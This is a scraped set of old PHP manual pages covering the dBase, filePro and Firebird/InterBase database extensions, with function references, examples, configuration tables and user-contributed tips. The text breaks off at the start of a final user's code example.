dbase_get_record_with_names
dbase_numfields
dBase Functions
PHP Manual

dbase_get_record

(PHP 4, PHP 5)

dbase_get_record — Gets a record from a database as an indexed array

Description

array dbase_get_record ( int $dbase_identifier , int $record_number )

Gets a record from a database as an indexed array.

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

record_number

The index of the record.

Return Values

An indexed array with the record. This array will also include an associative key named deleted which is set to 1 if the record has been marked for deletion (see dbase_delete_record()).

Each field is converted to the appropriate PHP type, except:

  • Dates are left as strings.
  • Integers that would have caused an overflow (> 32 bits) are returned as strings.

On error, dbase_get_record() will return FALSE.

See Also

  • dbase_get_record_with_names() - Gets a record from a database as an associative array

User Contributed Notes

webtestjira at nospam dot mytrashmail dot com 20-Dec-2006 09:21
Nowhere in the documentaiont explains that if the entire DBF file is lacking a record for one whole column, you will not get a blank entry in your result from dbase_get_record().  You must use dbase_get_record_with_names(), it is the only safe way to read dbase files in PHP 4.

For example, if you have a dbase file with 12 columns, but 3 of them contain no data in any record, then your array returned from dbase_get_record() will only have 9 sequential array keys and values, leaving you no way to figure out which are the missing columns.
05-Feb-2006 04:39
Take care with this! Strings are not binary safe using these procedures!!!
dbase_get_record_with_names
dbase_numfields
dBase Functions


Gets the number of fields of a database

dbase_get_record
dbase_numrecords
dBase Functions
PHP Manual

dbase_numfields

(PHP 4, PHP 5)

dbase_numfields — Gets the number of fields of a database

Description

int dbase_numfields ( int $dbase_identifier )

Gets the number of fields (columns) in the specified database.

Note:

Field numbers are between 0 and dbase_numfields($db)-1, while record numbers are between 1 and dbase_numrecords($db).

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

Return Values

The number of fields in the database, or FALSE if an error occurs.

Examples

Example #1 dbase_numfields() Example

<?php

$rec = dbase_get_record($db, $recno);
$nf  = dbase_numfields($db);
for ($i = 0; $i < $nf; $i++) {
  echo $rec[$i], "\n";
}

?>

See Also

  • dbase_numrecords() - Gets the number of records in a database

User Contributed Notes

paul_andrec at hotmail dot com 20-Jan-2010 07:29
When you want to add a record to a table you have to exclude the last row deleted.

So lets say your table have 10 rows with the deleted row to a total of 11.
you have to exclude the deleted row in your array();

sample:

table is :

<?php
 $row($PID,$SID,$RID,$CON,$COM,$AD1,$AD2,$CIT,$STA,$ZIP,$deleted);
 $record=array($PID,$SID,$RID,$CON,$COM,$AD1,$AD2,$CIT,$STA,$ZIP,);
 $db = dbase_open($db_path_and_file,2);
 dbase_add_record($db,$record );
 dbase_close($db);
?>

This will work.
dbase_get_record
dbase_numrecords
dBase Functions


Gets the number of records in a database

dbase_numfields
dbase_open
dBase Functions
PHP Manual

dbase_numrecords

(PHP 4, PHP 5)

dbase_numrecords — Gets the number of records in a database

Description

int dbase_numrecords ( int $dbase_identifier )

Gets the number of records (rows) in the specified database.

Note:

Record numbers are between 1 and dbase_numrecords($db), while field numbers are between 0 and dbase_numfields($db)-1.

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

Return Values

The number of records in the database, or FALSE if an error occurs.

Examples

Example #1 Looping over all the records of the database

<?php

// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
  $record_numbers = dbase_numrecords($db);
  for ($i = 1; $i <= $record_numbers; $i++) {
      // do something here, for each record
  }
}

?>

See Also

  • dbase_numfields() - Gets the number of fields of a database

User Contributed Notes

Garry Cross 30-Oct-2007 06:22
<?php

// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
  $record_numbers = dbase_numrecords($db);
  for ($i = 1; $i <= $record_numbers; $i++) {
      // do something here, for each record
  }
}

?>

Trying to get number of records in 1 of my "MySQL" tables. My database has 3 tables in it. How does it know which table to count records in.

Spent an hour and a half looking through Google links to dbase_numrecords, every place I go has a mirror image of the same example, but does not specify which table.

I understand, $db is the string that holds the name of the database. Or should it be the name of the table in the database.
dbase_numfields
dbase_open
dBase Functions


Opens a database

dbase_numrecords
dbase_pack
dBase Functions
PHP Manual

dbase_open

(PHP 4, PHP 5)

dbase_open — Opens a database

Description

int dbase_open ( string $filename , int $mode )

dbase_open() opens a dBase database with the given access mode.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

Note:

This function is affected by open_basedir.

Parameters

filename

The name of the database. It can be a relative or absolute path to the file where dBase will store your data.

mode

An integer which correspond to those for the open() system call (Typically 0 means read-only, 1 means write-only, and 2 means read and write).

Note:

You can't open a dBase file in write-only mode as the function will fail to read the headers information and thus you can't use 1 as mode.

Examples

Example #1 Opening a dBase database file

<?php

// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
  // read some data ..

  dbase_close($db);
}

?>

Return Values

Returns a database link identifier if the database is successfully opened, or FALSE if an error occurred.

See Also

  • dbase_create() - Creates a database
  • dbase_close() - Closes a database

User Contributed Notes

Anonymous 11-Jan-2008 03:05
COPY TO tablename.dbf TYPE FOXPLUS
The table is exported like DBase IV version and works fine with php.
jmertic at ncscredit dot com 16-Oct-2001 04:57
If you are wanting to open Foxpro tables using this, make sure they are in the 2.x format or php will not respond. In VFP use the following:

COPY TO tablename.dbf TYPE FOX2X

This is an easy way to bring database info to the web if you have a small foxpro setup.
dbase_numrecords
dbase_pack
dBase Functions


Packs a database

dbase_open
dbase_replace_record
dBase Functions
PHP Manual

dbase_pack

(PHP 4, PHP 5)

dbase_pack — Packs a database

Description

bool dbase_pack ( int $dbase_identifier )

Packs the specified database by permanently deleting all records marked for deletion using dbase_delete_record().

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Emptying a dBase database

<?php

// open in read-write mode
$db = dbase_open('/tmp/test.dbf', 2);

if ($db) {
  $record_numbers = dbase_numrecords($db);
  for ($i = 1; $i <= $record_numbers; $i++) {
      dbase_delete_record($db, $i);
  }
  // expunge the database
  dbase_pack($db);
}

?>

See Also

  • dbase_delete_record() - Deletes a record from a database

User Contributed Notes

There are no user contributed notes for this page.
dbase_open
dbase_replace_record
dBase Functions


Replaces a record in a database

dbase_pack
filePro
dBase Functions
PHP Manual

dbase_replace_record

(PHP 4, PHP 5)

dbase_replace_record — Replaces a record in a database

Description

bool dbase_replace_record ( int $dbase_identifier , array $record , int $record_number )

Replaces the given record in the database with the given data.

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

record

An indexed array of data. The number of items must be equal to the number of fields in the database, otherwise dbase_replace_record() will fail.

Note:

If you're using dbase_get_record() return value for this parameter, remember to reset the key named deleted.

record_number

An integer which spans from 1 to the number of records in the database (as returned by dbase_numrecords()).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Updating a record in the database

<?php

// open in read-write mode
$db = dbase_open('/tmp/test.dbf', 2);

if ($db) {
  // gets the old row
  $row = dbase_get_record_with_names($db, 1);

  // remove the 'deleted' entry
  unset($row['deleted']);

  // Update the date field with the current timestamp
  $row['date'] = date('Ymd');

  // Replace the record
  dbase_replace_record($db, $row, 1);
  dbase_close($db);
}

?>

See Also

  • dbase_add_record() - Adds a record to a database
  • dbase_delete_record() - Deletes a record from a database

User Contributed Notes

xamkan at yahoo dot com 20-Sep-2010 04:43
// simply use 'dbase_get_record' instead of 'dbase_get_record_with_names', for 'dbase_replace_record', 'dbase_add_record', or 'dbase_delete_record', to work

<?php

// open in read-write mode
$db = dbase_open('/tmp/test.dbf', 2) or die("Error! Could not open dbase database file /tmp/test.dbf.");        // 0=RO, 1=WO, 2=RW

// gets the old row
$row = dbase_get_record($db, 1);

// remove the 'deleted' entry from the array
unset($row['deleted']);

// Update the date field with the current timestamp
$row['date'] = date('Ymd');

// Replace the record
dbase_replace_record($db, $row, 1);
dbase_close($db);

?>
3Famous at gmail dot com 11-Feb-2008 09:03
Actually you have to change the read array from key based to element (numeric) based and everything works correctly!

<?php
     $db = dbase_open( "yourfile.dbf", 2); // 0=RO, 1=WO, 2=RW
     if ($db) {
        $row = dbase_get_record_with_names($db, 1);
        unset($row["deleted"]); // drop the field
// do whatever it is you want to the $row["elements"]
// then convert to numeric to store:
        $rarr = array();
        foreach ($row as $i=>$vl) $rarr[] = $vl;
        dbase_replace_record($db, $rarr, 1);
        dbase_close($db);
    }
?>

That code actually works!
hassan at datakillarna dot se 10-Feb-2006 04:30
If you get "unexpected error", try to change the assoc array, $row, to an indexed array with array_values().

Example:
<?php
$row = array_values($row);
dbase_replace_record($db, $row, 1);
?>

The dbase_replace-function cannot handle an assoc array.

Hope this will save someone a headache! ;)
wysocki at wildworld dot net 11-Feb-2005 01:15
The dbase add and replace functions do NOT like to use the associative array.

<?php
//This gives "unspecified error" on replace and add:
$row = dbase_get_record_with_names($db, 1);
unset($row['deleted']);
dbase_replace_record($db, $row, 1);
dbase_add_record($db, $row);

//To further prove the point,
//The first add works, the second one fails:
$testrow1=array('one','2','three');
dbase_add_record($db,$testrow1);
$testrow2=array('FIELDA' => 'xxx','FIELDB' => '9','FIELDC' => 'yyyyy');
dbase_add_record($db,$testrow2);
?>
dbase_pack
filePro
dBase Functions


filePro

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • filePro Functions
    • filepro_fieldcount — Find out how many fields are in a filePro database
    • filepro_fieldname — Gets the name of a field
    • filepro_fieldtype — Gets the type of a field
    • filepro_fieldwidth — Gets the width of a field
    • filepro_retrieve — Retrieves data from a filePro database
    • filepro_rowcount — Find out how many rows are in a filePro database
    • filepro — Read and verify the map file

User Contributed Notes

There are no user contributed notes for this page.
dbase_replace_record
Introduction
Vendor Specific Database Extensions


Introduction

These functions allow read-only access to data stored in filePro databases.

filePro is a registered trademark of fP Technologies, Inc. You can find more information about filePro at » http://www.fptech.com/.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.2.0.

User Contributed Notes

There are no user contributed notes for this page.
filePro
Installing/Configuring
filePro


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
filePro


Installation

filePro support in PHP is not enabled by default. To enable the bundled read-only filePro support you need to use the--enable-filepro configuration option when compiling PHP.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
filePro Functions
filePro


filePro Functions

Table of Contents

  • filepro_fieldcount — Find out how many fields are in a filePro database
  • filepro_fieldname — Gets the name of a field
  • filepro_fieldtype — Gets the type of a field
  • filepro_fieldwidth — Gets the width of a field
  • filepro_retrieve — Retrieves data from a filePro database
  • filepro_rowcount — Find out how many rows are in a filePro database
  • filepro — Read and verify the map file

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
filepro_fieldcount
filePro


Find out how many fields are in a filePro database

filePro Functions
filepro_fieldname
filePro Functions
PHP Manual

filepro_fieldcount

(PHP 4, PHP 5 <= 5.1.6)

filepro_fieldcount — Find out how many fields are in a filePro database

Description

int filepro_fieldcount ( void )

Returns the number of fields (columns) in the opened filePro database.

Return Values

Returns the number of fields in the opened filePro database, or FALSE on errors.

See Also

  • filepro() - Read and verify the map file

User Contributed Notes

There are no user contributed notes for this page.
filePro Functions
filepro_fieldname
filePro Functions


Gets the name of a field

filepro_fieldcount
filepro_fieldtype
filePro Functions
PHP Manual

filepro_fieldname

(PHP 4, PHP 5 <= 5.1.6)

filepro_fieldname — Gets the name of a field

Description

string filepro_fieldname ( int $field_number )

Returns the name of the field corresponding to field_number.

Parameters

field_number

The field number.

Return Values

Returns the name of the field as a string, or FALSE on errors.

User Contributed Notes

There are no user contributed notes for this page.
filepro_fieldcount
filepro_fieldtype
filePro Functions


Gets the type of a field

filepro_fieldname
filepro_fieldwidth
filePro Functions
PHP Manual

filepro_fieldtype

(PHP 4, PHP 5 <= 5.1.6)

filepro_fieldtype — Gets the type of a field

Description

string filepro_fieldtype ( int $field_number )

Returns the edit type of the field corresponding to field_number.

Parameters

field_number

The field number.

Return Values

Returns the edit type of the field as a string, or FALSE on errors.

User Contributed Notes

There are no user contributed notes for this page.
filepro_fieldname
filepro_fieldwidth
filePro Functions


Gets the width of a field

filepro_fieldtype
filepro_retrieve
filePro Functions
PHP Manual

filepro_fieldwidth

(PHP 4, PHP 5 <= 5.1.6)

filepro_fieldwidth — Gets the width of a field

Description

int filepro_fieldwidth ( int $field_number )

Returns the width of the field corresponding to field_number.

Parameters

field_number

The field number.

Return Values

Returns the width of the field as a integer, or FALSE on errors.

User Contributed Notes

There are no user contributed notes for this page.
filepro_fieldtype
filepro_retrieve
filePro Functions


Retrieves data from a filePro database

filepro_fieldwidth
filepro_rowcount
filePro Functions
PHP Manual

filepro_retrieve

(PHP 4, PHP 5 <= 5.1.6)

filepro_retrieve — Retrieves data from a filePro database

Description

string filepro_retrieve ( int $row_number , int $field_number )

Returns the data from the specified location in the database.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

Parameters

row_number

The row number. Must be between zero and the total number of rows minus one (0..filepro_rowcount() - 1)

field_number

The field number. Accepts values between zero and the total number of fields minus one (0..filepro_fieldcount() - 1)

Return Values

Returns the specified data, or FALSE on errors.

User Contributed Notes

There are no user contributed notes for this page.
filepro_fieldwidth
filepro_rowcount
filePro Functions


Find out how many rows are in a filePro database

filepro_retrieve
filepro
filePro Functions
PHP Manual

filepro_rowcount

(PHP 4, PHP 5 <= 5.1.6)

filepro_rowcount — Find out how many rows are in a filePro database

Description

int filepro_rowcount ( void )

Returns the number of rows in the opened filePro database.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

Return Values

Returns the number of rows in the opened filePro database, or FALSE on errors.

See Also

  • filepro() - Read and verify the map file

User Contributed Notes

There are no user contributed notes for this page.
filepro_retrieve
filepro
filePro Functions


Read and verify the map file

filepro_rowcount
Firebird/InterBase
filePro Functions
PHP Manual

filepro

(PHP 4, PHP 5 <= 5.1.6)

filepro — Read and verify the map file

Description

bool filepro ( string $directory )

This reads and verifies the map file, storing the field count and info.

No locking is done, so you should avoid modifying your filePro database while it may be opened in PHP.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

Parameters

directory

The map directory.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Brian Clark 14-Apr-2007 07:47
filepro() is apparently expecting the map file to be lowercase (at least on UNIX-like systems).
RobNar 12-Jun-2003 08:38
Two notes here:

1) PHP does not need a running copy of filepro to read the datafiles.  Just provide it with a directory containing the map file, key file, and the data* file(s) for the table you want to read. Screen files, outfiles, and process files are not used.

2) This function seems to pass back the system error code in brackets [] along with the PHP warning.  A list of error codes can be found in your filepro manual's appendix.
filepro_rowcount
Firebird/InterBase
filePro Functions


Firebird/InterBase

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Firebird/InterBase Functions
    • ibase_add_user — Add a user to a security database (only for IB6 or later)
    • ibase_affected_rows — Return the number of rows that were affected by the previous query
    • ibase_backup — Initiates a backup task in the service manager and returns immediately
    • ibase_blob_add — Add data into a newly created blob
    • ibase_blob_cancel — Cancel creating blob
    • ibase_blob_close — Close blob
    • ibase_blob_create — Create a new blob for adding data
    • ibase_blob_echo — Output blob contents to browser
    • ibase_blob_get — Get len bytes data from open blob
    • ibase_blob_import — Create blob, copy file in it, and close it
    • ibase_blob_info — Return blob length and other useful info
    • ibase_blob_open — Open blob for retrieving data parts
    • ibase_close — Close a connection to an InterBase database
    • ibase_commit_ret — Commit a transaction without closing it
    • ibase_commit — Commit a transaction
    • ibase_connect — Open a connection to an InterBase database
    • ibase_db_info — Request statistics about a database
    • ibase_delete_user — Delete a user from a security database (only for IB6 or later)
    • ibase_drop_db — Drops a database
    • ibase_errcode — Return an error code
    • ibase_errmsg — Return error messages
    • ibase_execute — Execute a previously prepared query
    • ibase_fetch_assoc — Fetch a result row from a query as an associative array
    • ibase_fetch_object — Get an object from a InterBase database
    • ibase_fetch_row — Fetch a row from an InterBase database
    • ibase_field_info — Get information about a field
    • ibase_free_event_handler — Cancels a registered event handler
    • ibase_free_query — Free memory allocated by a prepared query
    • ibase_free_result — Free a result set
    • ibase_gen_id — Increments the named generator and returns its new value
    • ibase_maintain_db — Execute a maintenance command on the database server
    • ibase_modify_user — Modify a user to a security database (only for IB6 or later)
    • ibase_name_result — Assigns a name to a result set
    • ibase_num_fields — Get the number of fields in a result set
    • ibase_num_params — Return the number of parameters in a prepared query
    • ibase_param_info — Return information about a parameter in a prepared query
    • ibase_pconnect — Open a persistent connection to an InterBase database
    • ibase_prepare — Prepare a query for later binding of parameter placeholders and execution
    • ibase_query — Execute a query on an InterBase database
    • ibase_restore — Initiates a restore task in the service manager and returns immediately
    • ibase_rollback_ret — Roll back a transaction without closing it
    • ibase_rollback — Roll back a transaction
    • ibase_server_info — Request information about a database server
    • ibase_service_attach — Connect to the service manager
    • ibase_service_detach — Disconnect from the service manager
    • ibase_set_event_handler — Register a callback function to be called when events are posted
    • ibase_timefmt — Sets the format of timestamp, date and time type columns returned from queries
    • ibase_trans — Begin a transaction
    • ibase_wait_event — Wait for an event to be posted by the database

User Contributed Notes

There are no user contributed notes for this page.
filepro
Introduction
Vendor Specific Database Extensions


Introduction

Firebird/InterBase is a relational database offering many ANSI SQL-92 features that runs on Linux, Windows, and a variety of Unix platforms. Firebird/InterBase offers excellent concurrency, high performance, and powerful language support for stored procedures and triggers. It has been used in production systems, under a variety of names since 1981.

InterBase is the name of the closed-source variant of this RDBMS that was developed by Borland/Inprise. More information about InterBase is available at » http://www.borland.com/interbase/.

Firebird is a commercially independent project of C and C++ programmers, technical advisors and supporters developing and enhancing a multi-platform relational database management system based on the source code released by Inprise Corp (now known as Borland Software Corp) under the InterBase Public License v.1.0 on 25 July, 2000. More information about Firebird is available at » http://www.firebirdsql.org/.

Note:

This extension supports InterBase versions 5 and up and all versions of Firebird. Support for InterBase version 5.x will be dropped in PHP 5.

This database uses a single quote (') character for escaping, a behavior similar to the Sybase database, add to your php.ini the following directive:

magic_quotes_sybase = On

User Contributed Notes

There are no user contributed notes for this page.
Firebird/InterBase
Installing/Configuring
Firebird/InterBase


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Firebird/InterBase


Installation

To enable InterBase support configure PHP --with-interbase[=DIR] , where DIR is the InterBase base install directory, which defaults to /usr/interbase.

Note: Note to Win32 Users

In order for this extension to work, there are DLL files that must be available to the Windows system PATH. For information on how to do this, see the FAQ entitled "How do I add my PHP directory to the PATH on Windows". Although copying DLL files from the PHP folder into the Windows system directory also works (because the system directory is by default in the system's PATH), this is not recommended. This extension requires the following files to be in the PATH: gds32.dll

If you installed the InterBase database server on the same machine PHP is running on, you will have this DLL already and gds32.dll will already be in the PATH.

User Contributed Notes

hiddenmailbox at yandex dot ru 15-Dec-2011 04:06
I tried to add extension php_interbase.dll on my php (WinXp PHP as Apche2.2 module).
I had a problem while starting web server:
"unable to load dynamic lybrary php_interbase.dll"
Solution was to add file fbclient.dll into php folder. (Not gds32.dll)
teson 26-Oct-2009 05:50
Add interbase.so to MAMP / OSX

get xcode and macports.
install m4 through macports
download php-source corresponding to mamp-version

create symblinks needed
from http://www.ibexpert.net/forum/viewtopic.phpf=13&t=7&start=0&st=0&sk=t&sd=a

# in short:
# (backslash = keep on same row)
cd /usr
sudo  mkdir -p local/firebird/lib

sudo ln -s /Library/Frameworks/Firebird.framework/Firebird \
local/firebird/lib/libfbclient.dylib

sudo ln -s /Library/Frameworks/Firebird.framework/Headers/ \
local/firebird/include

#create .so
sudo su

cd /path-to-php-source/ext/interbase

/Applications/MAMP/bin/php5/bin/phpize

./configure --with-interbase=/usr/local/firebird

make

#install so to mamp-ext.dir
cp modules/interbase.so \
/Applications/MAMP/bin/php5/lib/ \
php/extensions/no-debug-non-zts-20050922

#add to /Applications/MAMP/conf/php5/php.ini
[firebird]
extension = interbase.so
ibase.allow_persistent = "1"
ibase.max_persistent = "-1"
ibase.max_links = "-1"
ibase.default_db = null
ibase.default_user = NULL
ibase.default_password = NULL
ibase.default_charset = NULL
ibase.timestampformat = "%Y-%m-%d %H:%M:%S"
ibase.dateformat = "%Y-%m-%d"
ibase.timeformat = "%H:%M:%S"

#restart mamp - interbase should show in phpinfo
#enjoy!
rockeur941 at hotmail dot com 15-Feb-2009 02:05
On version 2.0 or higher of Firebird, the library is now fbclient.dll. But, fbclient.dll can be rename on gds32.dll, on Windows System for compatibility. The library gds32.dll is for older version of firebird.

Pour les version récentes (2 et plus) de Firebird, la librairie est maintenant fbclient.dll. La librairie gds32.dll était pour les anciennes versions. Il est possible de renommer fbclient.dll en gds32.dll pour les différentes compatibilités pour les application déjà existantes.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

InterBase configuration options
Name | Default | Changeable | Changelog
ibase.allow_persistent | "1" | PHP_INI_SYSTEM |
ibase.max_persistent | "-1" | PHP_INI_SYSTEM |
ibase.max_links | "-1" | PHP_INI_SYSTEM |
ibase.default_db | NULL | PHP_INI_SYSTEM | Available since PHP 5.0.0.
ibase.default_user | NULL | PHP_INI_ALL |
ibase.default_password | NULL | PHP_INI_ALL |
ibase.default_charset | NULL | PHP_INI_ALL | Available since PHP 5.0.0.
ibase.timestampformat | "%Y-%m-%d %H:%M:%S" | PHP_INI_ALL |
ibase.dateformat | "%Y-%m-%d" | PHP_INI_ALL |
ibase.timeformat | "%H:%M:%S" | PHP_INI_ALL |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

ibase.allow_persistent boolean

Whether to allow persistent connections to Firebird/InterBase.

ibase.max_persistent integer

The maximum number of persistent Firebird/InterBase connections per process. New connections created with ibase_pconnect() will be non-persistent if this number would be exceeded.

ibase.max_links integer

The maximum number of Firebird/InterBase connections per process, including persistent connections.

ibase.default_db string

The default database to connect to when ibase_[p]connect() is called without specifying a database name. If this value is set and SQL safe mode is enabled, no other connections than to this database will be allowed.

ibase.default_user string

The user name to use when connecting to a database if no user name is specified.

ibase.default_password string

The password to use when connecting to a database if no password is specified.

ibase.default_charset string

The character set to use when connecting to a database if no character set is specified.

ibase.timestampformat string

ibase.dateformat string

ibase.timeformat string

These directives are used to set the date and time formats that are used when returning dates and times from a result set, or when binding arguments to date and time parameters.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

The following constants can be passed to ibase_trans() to specify transaction behaviour.

Firebird/InterBase transaction flags
Constant | Description
IBASE_DEFAULT | The default transaction settings are to be used. This default is determined by the client library, which defines it as IBASE_WRITE|IBASE_CONCURRENCY|IBASE_WAIT in most cases.
IBASE_READ | Starts a read-only transaction.
IBASE_WRITE | Starts a read-write transaction.
IBASE_CONSISTENCY | Starts a transaction with the isolation level set to 'consistency', which means the transaction cannot read from tables that are being modified by other concurrent transactions.
IBASE_CONCURRENCY | Starts a transaction with the isolation level set to 'concurrency' (or 'snapshot'), which means the transaction has access to all tables, but cannot see changes that were committed by other transactions after the transaction was started.
IBASE_COMMITTED | Starts a transaction with the isolation level set to 'read committed'. This flag should be combined with either IBASE_REC_VERSION or IBASE_REC_NO_VERSION. This isolation level allows access to changes that were committed after the transaction was started. If IBASE_REC_NO_VERSION was specified, only the latest version of a row can be read. If IBASE_REC_VERSION was specified, a row can even be read when a modification to it is pending in a concurrent transaction.
IBASE_WAIT | Indicated that a transaction should wait and retry when a conflict occurs.
IBASE_NOWAIT | Indicated that a transaction should fail immediately when a conflict occurs.

The following constants can be passed to ibase_fetch_row(), ibase_fetch_assoc() or ibase_fetch_object() to specify fetch behaviour.

Firebird/InterBase fetch flags
Constant | Description
IBASE_FETCH_BLOBS | Also available as IBASE_TEXTfor backward compatibility. Causes BLOB contents to be fetched inline, instead of being fetched as BLOB identifiers.
IBASE_FETCH_ARRAYS | Causes arrays to be fetched inline. Otherwise, array identifiers are returned. Array identifiers can only be used as arguments to INSERT operations, as no functions to handle array identifiers are currently available.
IBASE_UNIXTIME | Causes date and time fields not to be returned as strings, but as UNIX timestamps (the number of seconds since the epoch, which is 1-Jan-1970 0:00 UTC). Might be problematic if used with dates before 1970 on some systems.

The following constants are used to pass requests and options to the service
API functions (ibase_server_info(), ibase_db_info(),
ibase_backup(), ibase_restore()
and ibase_maintain_db()). Please refer to
the Firebird/InterBase manuals for the meaning of these options.

IBASE_BKP_IGNORE_CHECKSUMS
IBASE_BKP_IGNORE_LIMBO
IBASE_BKP_METADATA_ONLY
IBASE_BKP_NO_GARBAGE_COLLECT
IBASE_BKP_OLD_DESCRIPTIONS
IBASE_BKP_NON_TRANSPORTABLE
IBASE_BKP_CONVERT
Options to ibase_backup()
IBASE_RES_DEACTIVATE_IDX
IBASE_RES_NO_SHADOW
IBASE_RES_NO_VALIDITY
IBASE_RES_ONE_AT_A_TIME
IBASE_RES_REPLACE
IBASE_RES_CREATE
IBASE_RES_USE_ALL_SPACE
Options to ibase_restore()
IBASE_PRP_PAGE_BUFFERS
IBASE_PRP_SWEEP_INTERVAL
IBASE_PRP_SHUTDOWN_DB
IBASE_PRP_DENY_NEW_TRANSACTIONS
IBASE_PRP_DENY_NEW_ATTACHMENTS
IBASE_PRP_RESERVE_SPACE
IBASE_PRP_RES_USE_FULL
IBASE_PRP_RES
IBASE_PRP_WRITE_MODE
IBASE_PRP_WM_ASYNC
IBASE_PRP_WM_SYNC
IBASE_PRP_ACCESS_MODE
IBASE_PRP_AM_READONLY
IBASE_PRP_AM_READWRITE
IBASE_PRP_SET_SQL_DIALECT
IBASE_PRP_ACTIVATE
IBASE_PRP_DB_ONLINE
IBASE_RPR_CHECK_DB
IBASE_RPR_IGNORE_CHECKSUM
IBASE_RPR_KILL_SHADOWS
IBASE_RPR_MEND_DB
IBASE_RPR_VALIDATE_DB
IBASE_RPR_FULL
IBASE_RPR_SWEEP_DB
Options to ibase_maintain_db()
IBASE_STS_DATA_PAGES
IBASE_STS_DB_LOG
IBASE_STS_HDR_PAGES
IBASE_STS_IDX_PAGES
IBASE_STS_SYS_RELATIONS
Options to ibase_db_info()
IBASE_SVC_SERVER_VERSION
IBASE_SVC_IMPLEMENTATION
IBASE_SVC_GET_ENV
IBASE_SVC_GET_ENV_LOCK
IBASE_SVC_GET_ENV_MSG
IBASE_SVC_USER_DBPATH
IBASE_SVC_SVR_DB_INFO
IBASE_SVC_GET_USERS
Options to ibase_server_info()

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Firebird/InterBase Functions
Firebird/InterBase


Firebird/InterBase Functions

Table of Contents

  • ibase_add_user — Add a user to a security database (only for IB6 or later)
  • ibase_affected_rows — Return the number of rows that were affected by the previous query
  • ibase_backup — Initiates a backup task in the service manager and returns immediately
  • ibase_blob_add — Add data into a newly created blob
  • ibase_blob_cancel — Cancel creating blob
  • ibase_blob_close — Close blob
  • ibase_blob_create — Create a new blob for adding data
  • ibase_blob_echo — Output blob contents to browser
  • ibase_blob_get — Get len bytes data from open blob
  • ibase_blob_import — Create blob, copy file in it, and close it
  • ibase_blob_info — Return blob length and other useful info
  • ibase_blob_open — Open blob for retrieving data parts
  • ibase_close — Close a connection to an InterBase database
  • ibase_commit_ret — Commit a transaction without closing it
  • ibase_commit — Commit a transaction
  • ibase_connect — Open a connection to an InterBase database
  • ibase_db_info — Request statistics about a database
  • ibase_delete_user — Delete a user from a security database (only for IB6 or later)
  • ibase_drop_db — Drops a database
  • ibase_errcode — Return an error code
  • ibase_errmsg — Return error messages
  • ibase_execute — Execute a previously prepared query
  • ibase_fetch_assoc — Fetch a result row from a query as an associative array
  • ibase_fetch_object — Get an object from a InterBase database
  • ibase_fetch_row — Fetch a row from an InterBase database
  • ibase_field_info — Get information about a field
  • ibase_free_event_handler — Cancels a registered event handler
  • ibase_free_query — Free memory allocated by a prepared query
  • ibase_free_result — Free a result set
  • ibase_gen_id — Increments the named generator and returns its new value
  • ibase_maintain_db — Execute a maintenance command on the database server
  • ibase_modify_user — Modify a user to a security database (only for IB6 or later)
  • ibase_name_result — Assigns a name to a result set
  • ibase_num_fields — Get the number of fields in a result set
  • ibase_num_params — Return the number of parameters in a prepared query
  • ibase_param_info — Return information about a parameter in a prepared query
  • ibase_pconnect — Open a persistent connection to an InterBase database
  • ibase_prepare — Prepare a query for later binding of parameter placeholders and execution
  • ibase_query — Execute a query on an InterBase database
  • ibase_restore — Initiates a restore task in the service manager and returns immediately
  • ibase_rollback_ret — Roll back a transaction without closing it
  • ibase_rollback — Roll back a transaction
  • ibase_server_info — Request information about a database server
  • ibase_service_attach — Connect to the service manager
  • ibase_service_detach — Disconnect from the service manager
  • ibase_set_event_handler — Register a callback function to be called when events are posted
  • ibase_timefmt — Sets the format of timestamp, date and time type columns returned from queries
  • ibase_trans — Begin a transaction
  • ibase_wait_event — Wait for an event to be posted by the database

User Contributed Notes

sysop at smartnettechnologies dot com 25-Sep-2007 12:01
This example have 2 problems my be the autor writes it to fast but in the first case use one var for define user pass and and the use other one for call them and in secon step use comas after the ;

$db = '/path/to/database.gdb';
$user = 'username';
$password = 'password';
$res = ibase_connect($db,$dbuser,$dbpass) or die("<br>" . ibase_errmsg());

// Query
$sql="SELECT * FROM table;"
fortega at uamericas dot net 01-Jul-2007 02:11
Here is a minimalistic code example. Be sure to create an user and a database in order to make it work.

<?php
